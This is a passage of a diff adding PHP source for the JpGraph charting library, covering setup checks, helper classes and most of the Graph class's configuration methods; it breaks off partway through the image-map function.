+if( !CheckPHPVersion(MIN_PHPVERSION) ) {
+    JpGraphError::RaiseL(13,PHP_VERSION,MIN_PHPVERSION);
+    die();
+}
+
+
+//
+// Make GD sanity check
+//
+if( !function_exists("imagetypes") || !function_exists('imagecreatefromstring') ) {
+    JpGraphError::RaiseL(25001);
+//("This PHP installation is not configured with the GD library. Please recompile PHP with GD support to run JpGraph. (Neither function imagetypes() nor imagecreatefromstring() does exist)");
+}
+
+//
+// Setup PHP error handler
+//
+function _phpErrorHandler($errno,$errmsg,$filename, $linenum, $vars) {
+    // Respect current error level
+    if( $errno & error_reporting() ) {
+	JpGraphError::RaiseL(25003,basename($filename),$linenum,$errmsg); 
+    }
+}
+
+if( INSTALL_PHP_ERR_HANDLER ) {
+    set_error_handler("_phpErrorHandler");
+}
+
+//
+//Check if there were any warnings, perhaps some wrong includes by the
+//user
+//
+if( isset($GLOBALS['php_errormsg']) && CATCH_PHPERRMSG && 
+    !preg_match('/|Deprecated|/i', $GLOBALS['php_errormsg']) ) {
+    JpGraphError::RaiseL(25004,$GLOBALS['php_errormsg']);
+}
+
+
+// Useful mathematical function
+function sign($a) {return $a >= 0 ? 1 : -1;}
+
+// Utility function to generate an image name based on the filename we
+// are running from and assuming we use auto detection of graphic format
+// (top level), i.e it is safe to call this function
+// from a script that uses JpGraph
+function GenImgName() {
+    // Determine what format we should use when we save the images
+    $supported = imagetypes();
+    if( $supported & IMG_PNG )	   $img_format="png";
+    elseif( $supported & IMG_GIF ) $img_format="gif";
+    elseif( $supported & IMG_JPG ) $img_format="jpeg";
+    elseif( $supported & IMG_WBMP ) $img_format="wbmp";
+    elseif( $supported & IMG_XPM ) $img_format="xpm";
+
+
+    if( !isset($_SERVER['PHP_SELF']) )
+	JpGraphError::RaiseL(25005);
+//(" Can't access PHP_SELF, PHP global variable. You can't run PHP from command line if you want to use the 'auto' naming of cache or image files.");
+    $fname = basename($_SERVER['PHP_SELF']);
+    if( !empty($_SERVER['QUERY_STRING']) ) {
+	$q = @$_SERVER['QUERY_STRING'];
+	$fname .= '_'.preg_replace("/\W/", "_", $q).'.'.$img_format;
+    }
+    else {
+	$fname = substr($fname,0,strlen($fname)-4).'.'.$img_format;
+    }
+    return $fname;
+}
+
+
+//===================================================
+// CLASS JpgTimer
+// Description: General timing utility class to handle
+// time measurement of generating graphs. Multiple
+// timers can be started.
+//===================================================
+class JpgTimer {
+    private $start, $idx;	
+//---------------
+// CONSTRUCTOR
+    function JpgTimer() {
+	$this->idx=0;
+    }
+
+//---------------
+// PUBLIC METHODS	
+
+    // Push a new timer start on stack
+    function Push() {
+	list($ms,$s)=explode(" ",microtime());	
+	$this->start[$this->idx++]=floor($ms*1000) + 1000*$s;	
+    }
+
+    // Pop the latest timer start and return the diff with the
+    // current time
+    function Pop() {
+	assert($this->idx>0);
+	list($ms,$s)=explode(" ",microtime());	
+	$etime=floor($ms*1000) + (1000*$s);
+	$this->idx--;
+	return $etime-$this->start[$this->idx];
+    }
+} // Class
+
+$gJpgBrandTiming = BRAND_TIMING;
+//===================================================
+// CLASS DateLocale
+// Description: Hold localized text used in dates
+//===================================================
+class DateLocale {
+ 
+    public $iLocale = 'C'; // environmental locale be used by default
+    private $iDayAbb = null, $iShortDay = null, $iShortMonth = null, $iMonthName = null;
+
+//---------------
+// CONSTRUCTOR	
+    function DateLocale() {
+	settype($this->iDayAbb, 'array');
+	settype($this->iShortDay, 'array');
+	settype($this->iShortMonth, 'array');
+	settype($this->iMonthName, 'array');
+
+
+	$this->Set('C');
+    }
+
+//---------------
+// PUBLIC METHODS	
+    function Set($aLocale) {
+	if ( in_array($aLocale, array_keys($this->iDayAbb)) ){ 
+	    $this->iLocale = $aLocale;
+	    return TRUE;  // already cached nothing else to do!
+	}
+
+	$pLocale = setlocale(LC_TIME, 0); // get current locale for LC_TIME
+
+	if (is_array($aLocale)) {
+	    foreach ($aLocale as $loc) {
+		$res = @setlocale(LC_TIME, $loc);
+		if ( $res ) {
+		    $aLocale = $loc;
+		    break;
+		}
+	    }
+	}
+	else {
+	    $res = @setlocale(LC_TIME, $aLocale);
+	}
+
+	if ( ! $res ){
+	    JpGraphError::RaiseL(25007,$aLocale);
+//("You are trying to use the locale ($aLocale) which your PHP installation does not support. Hint: Use '' to indicate the default locale for this geographic region.");
+	    return FALSE;
+	}
+ 
+	$this->iLocale = $aLocale;
+	for ( $i = 0, $ofs = 0 - strftime('%w'); $i < 7; $i++, $ofs++ ){
+	    $day = strftime('%a', strtotime("$ofs day"));
+	    $day[0] = strtoupper($day[0]);
+	    $this->iDayAbb[$aLocale][]= $day[0];
+	    $this->iShortDay[$aLocale][]= $day;
+	}
+
+	for($i=1; $i<=12; ++$i) {
+	    list($short ,$full) = explode('|', strftime("%b|%B",strtotime("2001-$i-01")));
+	    $this->iShortMonth[$aLocale][] = ucfirst($short);
+	    $this->iMonthName [$aLocale][] = ucfirst($full);
+	}
+		
+	setlocale(LC_TIME, $pLocale);
+
+	return TRUE;
+    }
+
+
+    function GetDayAbb() {
+	return $this->iDayAbb[$this->iLocale];
+    }
+	
+    function GetShortDay() {
+	return $this->iShortDay[$this->iLocale];
+    }
+
+    function GetShortMonth() {
+	return $this->iShortMonth[$this->iLocale];
+    }
+	
+    function GetShortMonthName($aNbr) {
+	return $this->iShortMonth[$this->iLocale][$aNbr];
+    }
+
+    function GetLongMonthName($aNbr) {
+	return $this->iMonthName[$this->iLocale][$aNbr];
+    }
+
+    function GetMonth() {
+	return $this->iMonthName[$this->iLocale];
+    }
+}
+
+$gDateLocale = new DateLocale();
+$gJpgDateLocale = new DateLocale();
+
+//=======================================================
+// CLASS Footer
+// Description: Encapsulates the footer line in the Graph
+//=======================================================
+class Footer {
+    public $iLeftMargin = 3, $iRightMargin = 3, $iBottomMargin = 3 ;
+    public $left,$center,$right;
+
+    function Footer() {
+	$this->left = new Text();
+	$this->left->ParagraphAlign('left');
+	$this->center = new Text();
+	$this->center->ParagraphAlign('center');
+	$this->right = new Text();
+	$this->right->ParagraphAlign('right');
+    }
+
+    function SetMargin($aLeft=3,$aRight=3,$aBottom=3) {
+	$this->iLeftMargin = $aLeft;
+	$this->iRightMargin = $aRight;
+	$this->iBottomMargin = $aBottom;
+    }
+
+    function Stroke($aImg) {
+	$y = $aImg->height - $this->iBottomMargin;
+	$x = $this->iLeftMargin;
+	$this->left->Align('left','bottom');
+	$this->left->Stroke($aImg,$x,$y);
+
+	$x = ($aImg->width - $this->iLeftMargin - $this->iRightMargin)/2;
+	$this->center->Align('center','bottom');
+	$this->center->Stroke($aImg,$x,$y);
+
+	$x = $aImg->width - $this->iRightMargin;
+	$this->right->Align('right','bottom');
+	$this->right->Stroke($aImg,$x,$y);
+    }
+}
+
+
+//===================================================
+// CLASS Graph
+// Description: Main class to handle graphs
+//===================================================
+class Graph {
+    public $cache=null;			// Cache object (singleton)
+    public $img=null;			// Img object (singleton)
+    public $plots=array();		// Array of all plot object in the graph (for Y 1 axis)
+    public $y2plots=array();		// Array of all plot object in the graph (for Y 2 axis)
+    public $ynplots=array();
+    public $xscale=null;		// X Scale object (could be instance of LinearScale or LogScale
+    public $yscale=null,$y2scale=null, $ynscale=array();
+    public $iIcons = array();		// Array of Icons to add to 
+    public $cache_name;			// File name to be used for the current graph in the cache directory
+    public $xgrid=null;			// X Grid object (linear or logarithmic)
+    public $ygrid=null,$y2grid=null;	//dito for Y
+    public $doframe=true,$frame_color=array(0,0,0), $frame_weight=1;	// Frame around graph
+    public $boxed=false, $box_color=array(0,0,0), $box_weight=1;		// Box around plot area
+    public $doshadow=false,$shadow_width=4,$shadow_color=array(102,102,102);	// Shadow for graph
+    public $xaxis=null;			// X-axis (instane of Axis class)
+    public $yaxis=null, $y2axis=null, $ynaxis=array();	// Y axis (instance of Axis class)
+    public $margin_color=array(200,200,200);	// Margin color of graph
+    public $plotarea_color=array(255,255,255);	// Plot area color
+    public $title,$subtitle,$subsubtitle; 	// Title and subtitle(s) text object
+    public $axtype="linlin";		// Type of axis
+    public $xtick_factor,$ytick_factor;	// Factor to determine the maximum number of ticks depending on the plot width
+    public $texts=null, $y2texts=null;	// Text object to ge shown in the graph
+    public $lines=null, $y2lines=null;
+    public $bands=null, $y2bands=null;
+    public $text_scale_off=0, $text_scale_abscenteroff=-1;	// Text scale in fractions and for centering bars
+    public $background_image="",$background_image_type=-1,$background_image_format="png";
+    public $background_image_bright=0,$background_image_contr=0,$background_image_sat=0;
+    public $background_image_xpos=0,$background_image_ypos=0;
+    public $image_bright=0, $image_contr=0, $image_sat=0;
+    public $inline;
+    public $showcsim=0,$csimcolor="red";//debug stuff, draw the csim boundaris on the image if <>0
+    public $grid_depth=DEPTH_BACK;	// Draw grid under all plots as default
+    public $iAxisStyle = AXSTYLE_SIMPLE;
+    public $iCSIMdisplay=false,$iHasStroked = false;
+    public $footer;
+    public $csimcachename = '', $csimcachetimeout = 0, $iCSIMImgAlt='';
+    public $iDoClipping = false;
+    public $y2orderback=true;
+    public $tabtitle;
+    public $bkg_gradtype=-1,$bkg_gradstyle=BGRAD_MARGIN;
+    public $bkg_gradfrom='navy', $bkg_gradto='silver';
+    public $titlebackground = false;
+    public $titlebackground_color = 'lightblue',
+	$titlebackground_style = 1,
+	$titlebackground_framecolor = 'blue',
+	$titlebackground_framestyle = 2,
+	$titlebackground_frameweight = 1,
+	$titlebackground_bevelheight = 3 ;
+    public $titlebkg_fillstyle=TITLEBKG_FILLSTYLE_SOLID;
+    public $titlebkg_scolor1='black',$titlebkg_scolor2='white';
+    public $framebevel = false, $framebeveldepth = 2 ;
+    public $framebevelborder = false, $framebevelbordercolor='black';
+    public $framebevelcolor1='white@0.4', $framebevelcolor2='black@0.4';
+    public $background_image_mix=100;
+    public $background_cflag = '';
+    public $background_cflag_type = BGIMG_FILLPLOT;
+    public $background_cflag_mix = 100;
+    public $iImgTrans=false,
+	$iImgTransHorizon = 100,$iImgTransSkewDist=150,
+	$iImgTransDirection = 1, $iImgTransMinSize = true,
+	$iImgTransFillColor='white',$iImgTransHighQ=false,
+	$iImgTransBorder=false,$iImgTransHorizonPos=0.5;
+    public $legend;
+    protected $iYAxisDeltaPos=50;
+    protected $iIconDepth=DEPTH_BACK;
+    protected $iAxisLblBgType = 0,
+	$iXAxisLblBgFillColor = 'lightgray', $iXAxisLblBgColor = 'black',
+	$iYAxisLblBgFillColor = 'lightgray', $iYAxisLblBgColor = 'black';
+    protected $iTables=NULL;
+
+//---------------
+// CONSTRUCTOR
+
+    // aWIdth 		Width in pixels of image
+    // aHeight  	Height in pixels of image
+    // aCachedName	Name for image file in cache directory 
+    // aTimeOut		Timeout in minutes for image in cache
+    // aInline		If true the image is streamed back in the call to Stroke()
+    //			If false the image is just created in the cache
+    function Graph($aWidth=300,$aHeight=200,$aCachedName="",$aTimeOut=0,$aInline=true) {
+	GLOBAL $gJpgBrandTiming;
+	// If timing is used create a new timing object
+	if( $gJpgBrandTiming ) {
+	    global $tim;
+	    $tim = new JpgTimer();
+	    $tim->Push();
+	}
+
+	if( !is_numeric($aWidth) || !is_numeric($aHeight) ) {
+	    JpGraphError::RaiseL(25008);//('Image width/height argument in Graph::Graph() must be numeric');
+	}		
+
+	// Automatically generate the image file name based on the name of the script that
+	// generates the graph
+	if( $aCachedName=="auto" )
+	    $aCachedName=GenImgName();
+			
+	// Should the image be streamed back to the browser or only to the cache?
+	$this->inline=$aInline;
+		
+	$this->img	= new RotImage($aWidth,$aHeight);
+
+	$this->cache 	= new ImgStreamCache($this->img);
+	$this->cache->SetTimeOut($aTimeOut);
+
+	$this->title = new Text();
+	$this->title->ParagraphAlign('center');
+	$this->title->SetFont(FF_FONT2,FS_BOLD);
+	$this->title->SetMargin(3);
+	$this->title->SetAlign('center');
+
+	$this->subtitle = new Text();
+	$this->subtitle->ParagraphAlign('center');
+	$this->subtitle->SetMargin(2);
+	$this->subtitle->SetAlign('center');
+
+	$this->subsubtitle = new Text();
+	$this->subsubtitle->ParagraphAlign('center');
+	$this->subsubtitle->SetMargin(2);
+	$this->subsubtitle->SetAlign('center');
+
+	$this->legend = new Legend();
+	$this->footer = new Footer();
+
+	// Window doesn't like '?' in the file name so replace it with an '_'
+	$aCachedName = str_replace("?","_",$aCachedName);
+
+	// If the cached version exist just read it directly from the
+	// cache, stream it back to browser and exit
+	if( $aCachedName!="" && READ_CACHE && $aInline )
+	    if( $this->cache->GetAndStream($aCachedName) ) {
+		exit();
+	    }
+				
+	$this->cache_name = $aCachedName;
+	$this->SetTickDensity(); // Normal density
+
+	$this->tabtitle = new GraphTabTitle();
+    }
+//---------------
+// PUBLIC METHODS	
+    
+    // Enable final image perspective transformation
+    function Set3DPerspective($aDir=1,$aHorizon=100,$aSkewDist=120,$aQuality=false,$aFillColor='#FFFFFF',$aBorder=false,$aMinSize=true,$aHorizonPos=0.5) {
+	$this->iImgTrans = true;
+	$this->iImgTransHorizon = $aHorizon;
+	$this->iImgTransSkewDist= $aSkewDist;
+	$this->iImgTransDirection = $aDir;
+	$this->iImgTransMinSize = $aMinSize;
+	$this->iImgTransFillColor=$aFillColor;
+	$this->iImgTransHighQ=$aQuality;
+	$this->iImgTransBorder=$aBorder;
+	$this->iImgTransHorizonPos=$aHorizonPos;
+    }
+
+    function SetUserFont($aNormal,$aBold='',$aItalic='',$aBoldIt='') {
+	$this->img->ttf->SetUserFont($aNormal,$aBold,$aItalic,$aBoldIt);
+    }
+
+    function SetUserFont1($aNormal,$aBold='',$aItalic='',$aBoldIt='') {
+	$this->img->ttf->SetUserFont1($aNormal,$aBold,$aItalic,$aBoldIt);
+    }
+
+    function SetUserFont2($aNormal,$aBold='',$aItalic='',$aBoldIt='') {
+	$this->img->ttf->SetUserFont2($aNormal,$aBold,$aItalic,$aBoldIt);
+    }
+
+    function SetUserFont3($aNormal,$aBold='',$aItalic='',$aBoldIt='') {
+	$this->img->ttf->SetUserFont3($aNormal,$aBold,$aItalic,$aBoldIt);
+    }
+
+    // Set Image format and optional quality
+    function SetImgFormat($aFormat,$aQuality=75) {
+	$this->img->SetImgFormat($aFormat,$aQuality);
+    }
+
+    // Should the grid be in front or back of the plot?
+    function SetGridDepth($aDepth) {
+	$this->grid_depth=$aDepth;
+    }
+
+    function SetIconDepth($aDepth) {
+	$this->iIconDepth=$aDepth;
+    }
+	
+    // Specify graph angle 0-360 degrees.
+    function SetAngle($aAngle) {
+	$this->img->SetAngle($aAngle);
+    }
+
+    function SetAlphaBlending($aFlg=true) {
+	$this->img->SetAlphaBlending($aFlg);
+    }
+
+    // Shortcut to image margin
+    function SetMargin($lm,$rm,$tm,$bm) {
+	$this->img->SetMargin($lm,$rm,$tm,$bm);
+    }
+
+    function SetY2OrderBack($aBack=true) {
+	$this->y2orderback = $aBack;
+    }
+
+    // Rotate the graph 90 degrees and set the margin 
+    // when we have done a 90 degree rotation
+    function Set90AndMargin($lm=0,$rm=0,$tm=0,$bm=0) {
+	$lm = $lm ==0 ? floor(0.2 * $this->img->width)  : $lm ;
+	$rm = $rm ==0 ? floor(0.1 * $this->img->width)  : $rm ;
+	$tm = $tm ==0 ? floor(0.2 * $this->img->height) : $tm ;
+	$bm = $bm ==0 ? floor(0.1 * $this->img->height) : $bm ;
+
+	$adj = ($this->img->height - $this->img->width)/2;
+	$this->img->SetMargin($tm-$adj,$bm-$adj,$rm+$adj,$lm+$adj);
+	$this->img->SetCenter(floor($this->img->width/2),floor($this->img->height/2));
+	$this->SetAngle(90);
+	if( empty($this->yaxis) || empty($this->xaxis) ) {
+	    JpgraphError::RaiseL(25009);//('You must specify what scale to use with a call to Graph::SetScale()');
+	}
+	$this->xaxis->SetLabelAlign('right','center');
+	$this->yaxis->SetLabelAlign('center','bottom');
+    }
+	
+    function SetClipping($aFlg=true) {
+	$this->iDoClipping = $aFlg ;
+    }
+
+    // Add a plot object to the graph
+    function Add($aPlot) {
+	if( $aPlot == null )
+	    JpGraphError::RaiseL(25010);//("Graph::Add() You tried to add a null plot to the graph.");
+	if( is_array($aPlot) && count($aPlot) > 0 )
+	    $cl = $aPlot[0];
+	else
+	    $cl = $aPlot;
+
+	if( $cl instanceof Text ) 
+	    $this->AddText($aPlot);
+	elseif( $cl instanceof PlotLine )
+	    $this->AddLine($aPlot);
+	elseif( class_exists('PlotBand',false) && ($cl instanceof PlotBand) )
+	    $this->AddBand($aPlot);
+	elseif( class_exists('IconPlot',false) && ($cl instanceof IconPlot) )
+	    $this->AddIcon($aPlot);
+	elseif( class_exists('GTextTable',false) && ($cl instanceof GTextTable) )
+	    $this->AddTable($aPlot);
+	else
+	    $this->plots[] = $aPlot;
+    }
+
+    function AddTable($aTable) {
+	if( is_array($aTable) ) {
+	    for($i=0; $i < count($aTable); ++$i )
+		$this->iTables[]=$aTable[$i];
+	}
+	else {
+	    $this->iTables[] = $aTable ;
+	}	
+    }
+
+    function AddIcon($aIcon) {
+	if( is_array($aIcon) ) {
+	    for($i=0; $i < count($aIcon); ++$i )
+		$this->iIcons[]=$aIcon[$i];
+	}
+	else {
+	    $this->iIcons[] = $aIcon ;
+	}	
+    }
+
+    // Add plot to second Y-scale
+    function AddY2($aPlot) {
+	if( $aPlot == null )
+	    JpGraphError::RaiseL(25011);//("Graph::AddY2() You tried to add a null plot to the graph.");	
+
+	if( is_array($aPlot) && count($aPlot) > 0 )
+	    $cl = $aPlot[0];
+	else
+	    $cl = $aPlot;
+
+	if( $cl instanceof Text ) 
+	    $this->AddText($aPlot,true);
+	elseif( $cl instanceof PlotLine )
+	    $this->AddLine($aPlot,true);
+	elseif( class_exists('PlotBand',false) && ($cl instanceof PlotBand) )
+	    $this->AddBand($aPlot,true);
+	else
+	    $this->y2plots[] = $aPlot;
+    }
+	
+    // Add plot to the extra Y-axises
+    function AddY($aN,$aPlot) {
+
+	if( $aPlot == null )
+	    JpGraphError::RaiseL(25012);//("Graph::AddYN() You tried to add a null plot to the graph.");	
+
+	if( is_array($aPlot) && count($aPlot) > 0 )
+	    $cl = $aPlot[0];
+	else
+	    $cl = $aPlot;
+
+	if( ($cl instanceof Text) || ($cl instanceof PlotLine) || 
+	    (class_exists('PlotBand',false) && ($cl instanceof PlotBand)) )
+	    JpGraph::RaiseL(25013);//('You can only add standard plots to multiple Y-axis');
+	else
+	    $this->ynplots[$aN][] = $aPlot;
+    }
+
+    // Add text object to the graph
+    function AddText($aTxt,$aToY2=false) {
+	if( $aTxt == null )
+	    JpGraphError::RaiseL(25014);//("Graph::AddText() You tried to add a null text to the graph.");		
+	if( $aToY2 ) {
+	    if( is_array($aTxt) ) {
+		for($i=0; $i < count($aTxt); ++$i )
+		    $this->y2texts[]=$aTxt[$i];
+	    }
+	    else
+		$this->y2texts[] = $aTxt;
+	}
+	else {
+	    if( is_array($aTxt) ) {
+		for($i=0; $i < count($aTxt); ++$i )
+		    $this->texts[]=$aTxt[$i];
+	    }
+	    else
+		$this->texts[] = $aTxt;
+	}
+    }
+	
+    // Add a line object (class PlotLine) to the graph
+    function AddLine($aLine,$aToY2=false) {
+	if( $aLine == null )
+	    JpGraphError::RaiseL(25015);//("Graph::AddLine() You tried to add a null line to the graph.");	
+
+	if( $aToY2 ) {
+ 	    if( is_array($aLine) ) {
+		for($i=0; $i < count($aLine); ++$i )
+		    $this->y2lines[]=$aLine[$i];
+	    }
+	    else
+		$this->y2lines[] = $aLine;
+	}
+	else {
+ 	    if( is_array($aLine) ) {
+		for($i=0; $i<count($aLine); ++$i )
+		    $this->lines[]=$aLine[$i];
+	    }
+	    else
+		$this->lines[] = $aLine;
+	}
+    }
+
+    // Add vertical or horizontal band
+    function AddBand($aBand,$aToY2=false) {
+	if( $aBand == null )
+	    JpGraphError::RaiseL(25016);//(" Graph::AddBand() You tried to add a null band to the graph.");
+
+	if( $aToY2 ) {
+	    if( is_array($aBand) ) {
+		for($i=0; $i < count($aBand); ++$i )
+		    $this->y2bands[] = $aBand[$i];
+	    }
+	    else
+		$this->y2bands[] = $aBand;
+	}
+	else {
+	    if( is_array($aBand) ) {
+		for($i=0; $i < count($aBand); ++$i )
+		    $this->bands[] = $aBand[$i];
+	    }
+	    else
+		$this->bands[] = $aBand;
+	}
+    }
+
+    function SetBackgroundGradient($aFrom='navy',$aTo='silver',$aGradType=2,$aStyle=BGRAD_FRAME) {
+	$this->bkg_gradtype=$aGradType;
+	$this->bkg_gradstyle=$aStyle;
+	$this->bkg_gradfrom = $aFrom;
+	$this->bkg_gradto = $aTo;
+    } 
+	
+    // Set a country flag in the background
+    function SetBackgroundCFlag($aName,$aBgType=BGIMG_FILLPLOT,$aMix=100) {
+	$this->background_cflag = $aName;
+	$this->background_cflag_type = $aBgType;
+	$this->background_cflag_mix = $aMix;
+    }
+
+    // Alias for the above method
+    function SetBackgroundCountryFlag($aName,$aBgType=BGIMG_FILLPLOT,$aMix=100) {
+	$this->background_cflag = $aName;
+	$this->background_cflag_type = $aBgType;
+	$this->background_cflag_mix = $aMix;
+    }
+
+
+    // Specify a background image
+    function SetBackgroundImage($aFileName,$aBgType=BGIMG_FILLPLOT,$aImgFormat="auto") {
+
+	if( !USE_TRUECOLOR ) {
+	    JpGraphError::RaiseL(25017);//("You are using GD 2.x and are trying to use a background images on a non truecolor image. To use background images with GD 2.x you <b>must</b> enable truecolor by setting the USE_TRUECOLOR constant to TRUE. Due to a bug in GD 2.0.1 using any truetype fonts with truecolor images will result in very poor quality fonts.");
+	}
+
+	// Get extension to determine image type
+	if( $aImgFormat == "auto" ) {
+	    $e = explode('.',$aFileName);
+	    if( !$e ) {
+		JpGraphError::RaiseL(25018,$aFileName);//('Incorrect file name for Graph::SetBackgroundImage() : '.$aFileName.' Must have a valid image extension (jpg,gif,png) when using autodetection of image type');
+	    }
+
+	    $valid_formats = array('png', 'jpg', 'gif');
+	    $aImgFormat = strtolower($e[count($e)-1]);
+	    if ($aImgFormat == 'jpeg')  {
+		$aImgFormat = 'jpg';
+	    }
+	    elseif (!in_array($aImgFormat, $valid_formats) )  {
+		JpGraphError::RaiseL(25019,$aImgFormat);//('Unknown file extension ($aImgFormat) in Graph::SetBackgroundImage() for filename: '.$aFileName);
+	    }    
+	}
+
+	$this->background_image = $aFileName;
+	$this->background_image_type=$aBgType;
+	$this->background_image_format=$aImgFormat;
+    }
+
+    function SetBackgroundImageMix($aMix) {
+	$this->background_image_mix = $aMix ;
+    }
+	
+    // Adjust background image position
+    function SetBackgroundImagePos($aXpos,$aYpos) {
+	$this->background_image_xpos = $aXpos ;
+	$this->background_image_ypos = $aYpos ;
+    }
+	
+    // Specify axis style (boxed or single)
+    function SetAxisStyle($aStyle) {
+        $this->iAxisStyle = $aStyle ;
+    }
+	
+    // Set a frame around the plot area
+    function SetBox($aDrawPlotFrame=true,$aPlotFrameColor=array(0,0,0),$aPlotFrameWeight=1) {
+	$this->boxed = $aDrawPlotFrame;
+	$this->box_weight = $aPlotFrameWeight;
+	$this->box_color = $aPlotFrameColor;
+    }
+	
+    // Specify color for the plotarea (not the margins)
+    function SetColor($aColor) {
+	$this->plotarea_color=$aColor;
+    }
+	
+    // Specify color for the margins (all areas outside the plotarea)
+    function SetMarginColor($aColor) {
+	$this->margin_color=$aColor;
+    }
+	
+    // Set a frame around the entire image
+    function SetFrame($aDrawImgFrame=true,$aImgFrameColor=array(0,0,0),$aImgFrameWeight=1) {
+	$this->doframe = $aDrawImgFrame;
+	$this->frame_color = $aImgFrameColor;
+	$this->frame_weight = $aImgFrameWeight;
+    }
+
+    function SetFrameBevel($aDepth=3,$aBorder=false,$aBorderColor='black',$aColor1='white@0.4',$aColor2='darkgray@0.4',$aFlg=true) {
+	$this->framebevel = $aFlg ;
+	$this->framebeveldepth = $aDepth ;
+	$this->framebevelborder = $aBorder ;
+	$this->framebevelbordercolor = $aBorderColor ;
+	$this->framebevelcolor1 = $aColor1 ;
+	$this->framebevelcolor2 = $aColor2 ;
+
+	$this->doshadow = false ;
+    }
+
+    // Set the shadow around the whole image
+    function SetShadow($aShowShadow=true,$aShadowWidth=5,$aShadowColor=array(102,102,102)) {
+	$this->doshadow = $aShowShadow;
+	$this->shadow_color = $aShadowColor;
+	$this->shadow_width = $aShadowWidth;
+	$this->footer->iBottomMargin += $aShadowWidth;
+	$this->footer->iRightMargin += $aShadowWidth;
+    }
+
+    // Specify x,y scale. Note that if you manually specify the scale
+    // you must also specify the tick distance with a call to Ticks::Set()
+    function SetScale($aAxisType,$aYMin=1,$aYMax=1,$aXMin=1,$aXMax=1) {
+	$this->axtype = $aAxisType;
+
+	if( $aYMax < $aYMin || $aXMax < $aXMin )
+	    JpGraphError::RaiseL(25020);//('Graph::SetScale(): Specified Max value must be larger than the specified Min value.');
+
+	$yt=substr($aAxisType,-3,3);
+	if( $yt=="lin" )
+	    $this->yscale = new LinearScale($aYMin,$aYMax);
+	elseif( $yt == "int" ) {
+	    $this->yscale = new LinearScale($aYMin,$aYMax);
+	    $this->yscale->SetIntScale();
+	}
+	elseif( $yt=="log" )
+	    $this->yscale = new LogScale($aYMin,$aYMax);
+	else
+	    JpGraphError::RaiseL(25021,$aAxisType);//("Unknown scale specification for Y-scale. ($aAxisType)");
+			
+	$xt=substr($aAxisType,0,3);
+	if( $xt == "lin" || $xt == "tex" ) {
+	    $this->xscale = new LinearScale($aXMin,$aXMax,"x");
+	    $this->xscale->textscale = ($xt == "tex");
+	}
+	elseif( $xt == "int" ) {
+	    $this->xscale = new LinearScale($aXMin,$aXMax,"x");
+	    $this->xscale->SetIntScale();
+	}
+	elseif( $xt == "dat" ) {
+	    $this->xscale = new DateScale($aXMin,$aXMax,"x");
+	}
+	elseif( $xt == "log" )
+	    $this->xscale = new LogScale($aXMin,$aXMax,"x");
+	else
+	    JpGraphError::RaiseL(25022,$aAxisType);//(" Unknown scale specification for X-scale. ($aAxisType)");
+
+	$this->xaxis = new Axis($this->img,$this->xscale);
+	$this->yaxis = new Axis($this->img,$this->yscale);
+	$this->xgrid = new Grid($this->xaxis);
+	$this->ygrid = new Grid($this->yaxis);	
+	$this->ygrid->Show();			
+    }
+	
+    // Specify secondary Y scale
+    function SetY2Scale($aAxisType="lin",$aY2Min=1,$aY2Max=1) {
+	if( $aAxisType=="lin" ) 
+	    $this->y2scale = new LinearScale($aY2Min,$aY2Max);
+	elseif( $aAxisType == "int" ) {
+	    $this->y2scale = new LinearScale($aY2Min,$aY2Max);
+	    $this->y2scale->SetIntScale();
+	}
+	elseif( $aAxisType=="log" ) {
+	    $this->y2scale = new LogScale($aY2Min,$aY2Max);
+	}
+	else JpGraphError::RaiseL(25023,$aAxisType);//("JpGraph: Unsupported Y2 axis type: $aAxisType\nMust be one of (lin,log,int)");
+			
+	$this->y2axis = new Axis($this->img,$this->y2scale);
+	$this->y2axis->scale->ticks->SetDirection(SIDE_LEFT); 
+	$this->y2axis->SetLabelSide(SIDE_RIGHT); 
+	$this->y2axis->SetPos('max');
+	$this->y2axis->SetTitleSide(SIDE_RIGHT);
+		
+	// Deafult position is the max x-value
+	$this->y2grid = new Grid($this->y2axis);							
+    }
+
+    // Set the delta position (in pixels) between the multiple Y-axis
+    function SetYDeltaDist($aDist) {
+	$this->iYAxisDeltaPos = $aDist;
+    }
+
+    // Specify secondary Y scale
+    function SetYScale($aN,$aAxisType="lin",$aYMin=1,$aYMax=1) {
+
+	if( $aAxisType=="lin" ) 
+	    $this->ynscale[$aN] = new LinearScale($aYMin,$aYMax);
+	elseif( $aAxisType == "int" ) {
+	    $this->ynscale[$aN] = new LinearScale($aYMin,$aYMax);
+	    $this->ynscale[$aN]->SetIntScale();
+	}
+	elseif( $aAxisType=="log" ) {
+	    $this->ynscale[$aN] = new LogScale($aYMin,$aYMax);
+	}
+	else JpGraphError::RaiseL(25024,$aAxisType);//("JpGraph: Unsupported Y axis type: $aAxisType\nMust be one of (lin,log,int)");
+			
+	$this->ynaxis[$aN] = new Axis($this->img,$this->ynscale[$aN]);
+	$this->ynaxis[$aN]->scale->ticks->SetDirection(SIDE_LEFT); 
+	$this->ynaxis[$aN]->SetLabelSide(SIDE_RIGHT); 
+    }
+
+    // Specify density of ticks when autoscaling 'normal', 'dense', 'sparse', 'verysparse'
+    // The dividing factor have been determined heuristically according to my aesthetic 
+    // sense (or lack off) y.m.m.v !
+    function SetTickDensity($aYDensity=TICKD_NORMAL,$aXDensity=TICKD_NORMAL) {
+	$this->xtick_factor=30;
+	$this->ytick_factor=25;		
+	switch( $aYDensity ) {
+	    case TICKD_DENSE:
+		$this->ytick_factor=12;			
+		break;
+	    case TICKD_NORMAL:
+		$this->ytick_factor=25;			
+		break;
+	    case TICKD_SPARSE:
+		$this->ytick_factor=40;			
+		break;
+	    case TICKD_VERYSPARSE:
+		$this->ytick_factor=100;			
+		break;		
+	    default:
+		JpGraphError::RaiseL(25025,$densy);//("JpGraph: Unsupported Tick density: $densy");
+	}
+	switch( $aXDensity ) {
+	    case TICKD_DENSE:
+		$this->xtick_factor=15;							
+		break;
+	    case TICKD_NORMAL:
+		$this->xtick_factor=30;			
+		break;
+	    case TICKD_SPARSE:
+		$this->xtick_factor=45;					
+		break;
+	    case TICKD_VERYSPARSE:
+		$this->xtick_factor=60;								
+		break;		
+	    default:
+		JpGraphError::RaiseL(25025,$densx);//("JpGraph: Unsupported Tick density: $densx");
+	}		
+    }
+	
+
+    // Get a string of all image map areas	
+    function GetCSIMareas() {
+	if( !$this->iHasStroked )
+	    $this->Stroke(_CSIM_SPECIALFILE);
+
+	$csim = $this->title->GetCSIMAreas();
+	$csim .= $this->subtitle->GetCSIMAreas();
+	$csim .= $this->subsubtitle->GetCSIMAreas();
+	$csim .= $this->legend->GetCSIMAreas();
+
+	if( $this->y2axis != NULL ) {
+	    $csim .= $this->y2axis->title->GetCSIMAreas();
+	}
+
